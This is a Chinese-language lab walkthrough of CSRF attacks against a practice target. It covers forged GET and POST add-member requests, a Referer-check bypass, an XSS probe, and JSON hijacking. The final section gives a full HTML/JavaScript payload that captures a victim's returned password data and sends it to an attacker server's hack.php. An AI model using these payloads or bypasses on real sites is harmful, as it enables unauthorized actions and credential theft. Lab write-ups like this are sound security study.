0X01無防護GET類型CSRF(偽造添加成員請求)
環境 靶機管理登陸 192.168.1.132
本機 192.168.1.5
首先我們登陸 test賬號 然后點擊 添加用戶
構造出我們的url
然后發送給已經登陸的管理員
管理 點開連接
可以看見我們添加成功
0X02無防護POST類型csrf-偽造出添加成員的請求
你想讓受害者執行的頁面構造poc 大哥說用burp
然后 發送頁面到受害者登陸了的電腦 然他點擊
最后看見成功添加
0x03繞過CSRF防護之Referer檢查-偽造購買商品請求
這里來講解一下refer是什么吶??這里給你解釋
https://blog.csdn.net/shenqueying/article/details/79426884
那么我們繼續組合群 burp POC 然后發給admin
但是出現了這樣的結果 why?
這里我們在DVWA上面做過這個 可以將頁面名稱改為
www.csrf_demo.com.html
然后將其放到外網服務器上面去
然后構造
http://外網ip/www.csrf_demo.com.html 這樣referer里面就包含和host相同的值了
這里 我們的外網ip是
http://xxxxx:2017/www.csrf_demo.com.html
然后就會購買成功
0X04配合XSS漏洞獲取了用戶token后進行csrf攻擊(偽造添加成員請求)
這里題目告訴我們要利用xss漏洞獲取用戶token csrf是不可以單獨獲取用戶的token的 所以這里我們配合xss
經過我們測試發現 username和password處都存在XSS注入
<script>alert(1)</script>
0X05JSON服務端情景的CSRF偽造劫持(偽造並劫持查詢當前用戶信息的請求)
首先我們先來了解一下什么是json 下面講解
https://baike.baidu.com/item/JSON/2462549?fr=aladdin
任務要求
模擬出查詢當前用戶密碼的請求鏈接,發送給已經登錄的管理,造成csrf攻擊並劫持服務端返回來的JSON信息
思路
構造查看密碼連接 發給管理 讓管理點擊 然后我們使用json劫持 盜取從服務器返回來的密碼信息 並且發送給我們的服務器
0X0A burp構造 查看密碼CSRFpoc
0X0B 利用JSON劫持 並且將數據寫入到我們服務器的文本中(動態注入script標簽)
自定義call4back函數,來劫持數據
觸發函數后 從服務器端返回json數據 然后將數據輸出到前端
這里還是把我們的js腳本放在服務器上 然后用script進行跨域請求
訪問我們的腳本代碼
<html> <head> <script type="text/javascript"> function hijack(result) { var data = ''; for(var i in result) { data += i + ':' + result[i]; } new Image().src = "http://www.csrf_demo.com/hack.php?data=" + escape(data);//把數據發送到攻擊者服務器上 } </script> <script type="text/javascript" src="http://www.csrf_demo.com/csrf_5.php?callback=hijack"></script> </body> </html>
然后就成功執行了